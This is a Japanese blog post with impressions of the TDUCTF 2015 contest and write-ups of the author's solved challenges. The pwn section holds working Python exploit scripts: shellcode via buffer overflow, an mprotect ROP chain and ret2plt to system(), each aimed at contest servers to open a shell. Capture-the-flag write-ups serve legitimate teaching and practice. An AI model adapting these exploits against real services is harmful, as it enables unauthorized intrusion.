TDUCTF 2015の感想とwriteup




@_193sです.
開催1日前に突然枠が空いたのでTDUCTF 2015に参加してきました.


  • 会場が遠くて迷った
  • スコアサーバー(のクライアントアプリ)がElectron製ですごい




  • インフラすごい
  • CTF開始前のLT中にスコアサーバー弄ってたらフラグが出てきた(XSS meという問題のFlagだった)
  • 問題数が多くてひたすら忙しい
  • 問題が出て10秒~1分以内に解くみたいなのを3問ぐらいでやったので大量にfirst solveボーナスが取れてよかった
  • 世界3位だから3位だった

  • というわけで解いた問題全部のwriteupを丁寧に書きました

write-ups

練習問題 (Example 39)

solves: 68

1
2
3
4
フラグは TDU{なにか} の形で得られます。
TDU{SAKURAInternet}
by @chibiegg

問題文を読む能力
flag: TDU{SAKURAInternet}

String Compare (Binary 100)

solves: 10

1
2
3
フラグには必ずTDU{}を付けてね。
https://score.sakura.tductf.org/files/3/StringCompare.exe

MS-DOS executable.
実行して標準入力に適当な文字列を与えるとThis_is_not_flag :)と言われる.

適当にバイナリを読むと
41A91A82F42C2B593623B420953C73572BEDC2E45165162CC856FB1BA57BD410
で通ることがわかるので,問題文に従ってTDU{}を付けてスコアサーバーにsubmitしたら通った.

(これstrings+エスパーだけで解けそう)

flag: TDU{41A91A82F42C2B593623B420953C73572BEDC2E45165162CC856FB1BA57BD410}

clock (Misc 150)

solves: 53

1
2
3
4
この写真が撮影された時間(秒は切り捨て)がFLAGです。
: 2015/08/30 14:00:00 JSTTDU{2015_08_30_14_00}
https://score.sakura.tductf.org/files/4/clock.jpg

時計が映ったjpg.
exiftoolにかけたら時刻が出てきたのでTDU{2015_01_02_11_35}を投げたけど通らない.

1
2
3
4
5
6
7
193s@mbp193s:~/CTF/TDUCTF/2015B/misc/clock$ exiftool clock.jpg
ExifTool Version Number : 9.71
File Name : clock.jpg
...
Date/Time Original : 2015:01:02 11:35:01
Create Date : 2015:01:02 11:35:01
...

よく問題文を見たらFlagはJSTだったので9時間足したら通った.
写真からグリニッジ天文台の時計だとわかっていたが,exif情報からも経度が確認できるので時差は適当に出しましょう.

1
2
3
GPS Latitude : 51 deg 28' 40.53" N
GPS Longitude : 0 deg 0' 4.67" W
GPS Position : 51 deg 28' 40.53" N, 0 deg 0' 4.67" W

flag: TDU{2015_01_11_11_35}

XSS me (Misc 100)

solves: 28

1
alert me.

普通のWeb問かと思って問題文を見たらURLがなかったので困惑してしばらく放置していたが,CTF開始前に見つけていたflagを入れたら通った(謎).

クライアントアプリで開発者ツールみたいなものをCtrl+alt+iなどで開いてElementsのところを眺めていると見つかる.

1
'\u0054\u0044\u0055\u007b\u0045\u006c\u0065\u0063\u0074\u0072\u006f\u006e\u005f\u0043\u0054\u0046\u005f\u0046\u0072\u006f\u006e\u0074\u0065\u006e\u0064\u005f\u0069\u0073\u005f\u0043\u006f\u006f\u006c\u005f\u0079\u0061\u003f\u007d'

flag: TDU{Electron_CTF_Frontend_is_Cool_ya?}

/dev/null (Binary 250)

solves: 5

1
2
3
Usage: ./devnull > /dev/null
https://score.sakura.tductf.org/files/12/devnull

ELF 64-bit LSB executable
linux環境でusage通りに./devnull > /dev/nullを動かすと何も表示せずに終了する.
/dev/fd/1などに吐かせようとしても怒られるのでstraceしたらflagが出た.

1
2
3
4
5
6
7
8
9
master@ubuntu:~/CTF/TDUCTF/2015B/bin/dev_null$ strace ./devnull > /dev/null
execve("./devnull", ["./devnull"], [/* 19 vars */]) = 0
brk(0) = 0x6e7000
fcntl(0, F_GETFD) = 0
...
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f7962d9b000
write(1, "TDU{/dev/null_redirection}\n", 27) = 27
exit_group(0) = ?
+++ exited with 0 +++

flag: TDU{/dev/null_redirection}

moneyscript (Misc 400)

solves: 8

1
6a1d5444557b426974636f696e21426974636f696e21426974636f696e217d

何も考えずにhexdecodeしたらjTDU{Bitcoin!Bitcoin!Bitcoin!}が出てきた.
なんだこれ

flag: TDU{Bitcoin!Bitcoin!Bitcoin!}

TDUCTF運営からフラグを盗め (Network 400)

solves: 17

1
2
3
4
こたまご氏がのむけん氏に送ったメールが盗聴できた。やったね!
by @chibiegg
https://score.sakura.tductf.org/files/6/dump.pcap

部分点(25%)しか取れてないです.

SMTPのパケットが並んでいる.メール本文/添付ファイルをstringsから抽出しようとして時間を無駄にしてしまったが,NetworkMinerにかければ一発だった(ファイルの抽出機能はない?).

iso-2022-jpな部分はnkfに食わせれば自動でconvertしてくれる.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
193s@mbp193s:~/CTF/TDUCTF/2015B/nw/TDU運営からフラグを$ nkf < g
...
のむけんさん
お疲れ様です、こたまごです。
さきほどのファイルのパスワードをお送りいたします。
umHA7QEJwgCbkKh (半角にしてください)
...
> 先日相談した暗号の問題ですが、できたのでスコアサーバに答えを登録しておい
> ていただけますか。
>
> 添付ファイルにして送付します。
> パスワードは別途お送りいたします。
>
...

ということなので抽出したflag.zipにパスワードとしてumHA7QEJwgCbkKhを与えたらflag.txt, chibiegg.jpgを吐いてくれた.
これで部分点100点獲得.

もう1つchibiegg.jpg, flag.txt, flag2.txtの3つのファイルが入ったzipがあったので,既に入手したflag.txtとchibiegg.jpgを使ってpkcrackでknown-plaintext attackを試みたがダメだった(謎).

flag1: TDU{I_KNOW_CREAR_TEXT_IS_NOT_SECURE}

Lie (Web 100)

solves: 53

1
2
プロになりたい
http://lie.sakura.tductf.org/

よく覚えていないが,普通にGETを飛ばすとSet-CookieでisPro=Falseみたいなのが降ってきたのでこれをTrueに書き換えるとFlagが出た.

flag: (紛失)

14:50 (Misc 200)

solves: 61

1
14:50 になにかが起きる!

部分点(50%)だけです.
14:50になると突然クライアントアプリで一斉に某社の動画が流れ始めた.何も考えずに閉じてしまったがこれを見ているとFlagが流れてくるらしい.
数時間後また動画が流れてくることになったので今度はよく見ていたらflagが取れたのでそのまま閉じてsubmitしに行ったが,これが部分点50%分のflagだったということに気がついてしまいつらい気持ちになった.

flag1: (紛失)

She’ll code it after school today. (Pwn 250)

solves: 4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|><|~|><|
/(((9)))\
//) -_- (\\ ______________________________________________
(((( ._. )))) / \
))))---(((( < I enjoy coding after school everyday <3 |
((((`---')))) \______________________________________________/
(___|xXxXx|___)
\ | | /
/ ^ ^ ^ \
/ \
(_._._._._._)
\ | /
( | )
| | |
hjw |-|-|
/`-^-'\
(__,^.__)
(http://ascii.co.uk/art/girl)
// But she's not so good at the secure coding...
nc crackme.sakura.tductf.org 47806
https://score.sakura.tductf.org/files/20/program

ELF 32-bit LSB executable

ncで繋いで10秒ほど待っているとソースコードのURLが落ちてくる.

1
2
...
(Hint: aHR0cHM6Ly9naXN0LmdpdGh1Yi5jb20vaGhjMG51bGwvYTE1YzdlZDUxMDczNzk1N2RiODY=)

https://gist.github.com/hhc0null/a15c7ed510737957db86

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
// I want you to be known globally!
char your_introduction[0x100];
int main()
{
FILE *fp = NULL;
char message[30];
puts("My name is Catherine:)");
puts("About me:");
if((fp = fopen("my_introduction.txt", "r")) == NULL) {
perror("Oops...");
exit(EXIT_FAILURE);
}
fgets(message, 30, fp);
puts(message);
fclose(fp);
puts("Please tell me about you:");
fgets(your_introduction, 0x100, stdin);
puts("Please leave your message:");
fgets(message, 0x30, stdin);
puts("Thank you~ <3");
sleep(30);
puts("(Hint: aHR0cHM6Ly9naXN0LmdpdGh1Yi5jb20vaGhjMG51bGwvYTE1YzdlZDUxMDczNzk1N2RiODY=)");
return 0;
}

2回目のfgetsでbuffer overflowの脆弱性がある.
NX disabledなのでyour_introduction(固定アドレス)に自身のアドレス+shellcodeを突っ込んで,bofからespをyour_introductionに向けることでshellcodeを実行するという感じの方針でexploitを書いた.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#!/usr/bin/env python
from ebil import * # <- https://github.com/193s/ebil
exec ebil('./program', remote=('crackme.sakura.tductf.org', 47806))
addr_message = 0x8049aa0
shellcode = asm(shellcraft.sh())
def popn(n):
addr_pop3 = 0x08048749 # pop esi ; pop edi ; pop ebp ; ret ; (1 found)
assert n <= 3
ret = addr_pop3+3-n
return ret
print r.recvuntil('Please tell me about you:\n')
payload = p(addr_message+4) + shellcode
assert not '\n' in payload
send(payload + '\n')
log.success('addr_message = ' + hex(addr_message))
print r.recvuntil('message:\n')
payload = 'a'*38
payload += chain([
addr_message + 4, # ecx -- ecx-4 => esp
])
assert not '\n' in payload
send(payload+'\n', 0x30)
print r.recvuntil('=)\n')
interact()

flag: (紛失)

In a new stage! (Pwn 180)

solves: 5

1
2
3
4
5
Congratz!
Now, you are in a new stage!
nc crackme.sakura.tductf.org 10195
https://score.sakura.tductf.org/files/19/ins

やるだけ.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#!/usr/bin/env python
from ebil import * # <- https://github.com/193s/ebil
exec ebil('./ins', remote=('crackme.sakura.tductf.org', 10195))
shellcode = asm(shellcraft.sh())
def pop_n(n):
pop3ret = 0x080485d9 # pop esi ; pop edi ; pop ebp ; ret ; (1 found)
return pop3ret + 3 - n
print r.recvuntil(': ')
payload = 'a'*16
map_base = 0x8049000
payload += chain([
elf.symbols['mprotect'], pop_n(3), map_base, 1000, 7,
elf.symbols['read'], pop_n(1), 0, map_base, 2048,
])
send(payload, 56)
send(shellcode, 2048)
interact()

flag: (紛失)

ret2libc for newbie. (Pwn 120)

solves: 5

1
2
3
4
just ret2libc it!
nc crackme.sakura.tductf.org 10170
https://score.sakura.tductf.org/files/18/r2lfn

やるだけ.ret2pltじゃん

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/usr/bin/env python
from ebil import * # <- https://github.com/193s/ebil
exec ebil('./r2lfn', remote=('crackme.sakura.tductf.org', 10170))
addr_ret = 0x080483ae # ret ; (14 found)
payload = p(addr_ret)*10
payload += chain([
elf.plt['system'], 0xdeadbeef, 0x80486ad,
])
send(payload, 256)
interact()

flag: (紛失)

String Encoder no.1 (Binary 200)

solves: 3

1
2
3
4
ファイトだよっ!!
https://score.sakura.tductf.org/files/26/no1
https://score.sakura.tductf.org/files/30/file

エンコーダ(PE32 executable)とエンコードされたflag.
適当にバイナリを読むと各文字に対して+0x14しているだけだったのでpythonでデコーダを書いて動かした.

1
2
3
4
5
6
7
#!/usr/bin/env python
from sys import stdout
enc = open('file', 'r').read()
for c in enc:
stdout.write(chr(ord(c)-0x14 & 0xff))
1
2
3
193s@mbp193s:~/CTF/TDUCTF/2015B/bin/String_Encoder/1$ ./solve.py
TDU{Welcome_to_TDUCTF's_string_encoder!}h���������������a�`�
������������������ ��e��`����%

flag: TDU{Welcome_to_TDUCTF's_string_encoder!}

String Encoder no.3 (Binary 300)

solves: 1

1
2
3
4
ファイトだよっ!!
https://score.sakura.tductf.org/files/28/no3
https://score.sakura.tductf.org/files/31/file

結局自分しか解かなかったっぽい.
各文字cについてc = i + (i^c)という置換をしているだけなので,適当にデコーダを書いておわり.

1
2
3
4
5
6
7
8
9
10
11
12
#!/usr/bin/env python
from sys import stdout
enc = open('file', 'r').read()
def decode(c, i): return (c - i) ^ i
flag = ''
for i in xrange(100):
flag += chr(decode(ord(enc[i]), i) & 0xff)
print flag
1
2
193s@mbp193s:~/CTF/TDUCTF/2015B/bin/String_Encoder/3$ ./solve.py
TDU{addCounter!xorCounter!}h������th�u�t� �<���$0�(0�,040�y̖t

flag: TDU{addCounter!xorCounter!}

SQL Practice (Web 300)

solves: 26

1
2
Let's SQLing?
http://sqlpractice.sakura.tductf.org/

ほとんど覚えていないが,@nomukenのツイートがDB化されてそこに対して任意のクエリが発行できるという問題.
何も考えずにSELECT 忘れた FROM 忘れた WHERE 忘れた LIKE '%TDU{%'みたいなクエリを投げたらflagが降ってきた.
first solveありがとうございました

flag: (紛失)

nullflood (Misc 100)

solves: 38

1
2
3
so meny zeros
https://score.sakura.tductf.org/files/23/zeros

何も考えずに標準出力に流したらflagが出てきてア

1
2
193s@mbp193s:~/CTF/TDUCTF/2015B/misc/nullflood$ cat zeros
TDU{Strings_is_useful}

hexdumpしてみるとわかるが,0x00が大量に入っていてstringsでは抽出できないよねみたいな問題らしい.

flag: TDU{Strings_is_useful}

cheap camouflage (Misc 100)

solves: 18

1
2
3
Portable Network Graphics
https://score.sakura.tductf.org/files/33/image.png


pngpongと書かれたpng.vimでバイナリを眺めているとIENDの後にPKという文字列が見えたのでpngの末尾にzipファイルが付いているということがわかる.
適当に分離してunzipしようとするとpasswordを求められるので,画像の”pngpong”を入れてやると無事復号できる.

1
2
3
4
193s@mbp193s:~/CTF/TDUCTF/2015B/misc/cheap_camo$ unzip a
Archive: a
[a] flag.txt password: pngpong
extracting: flag.txt

flag: TDU{a_file_followed_the_png}

まとめ

  • 個人戦はつらい
  • スコアサーバーがすごかった
  • 最高に楽しかったです,運営各位本当にありがとうございました
  • 次回の開催も期待してます :)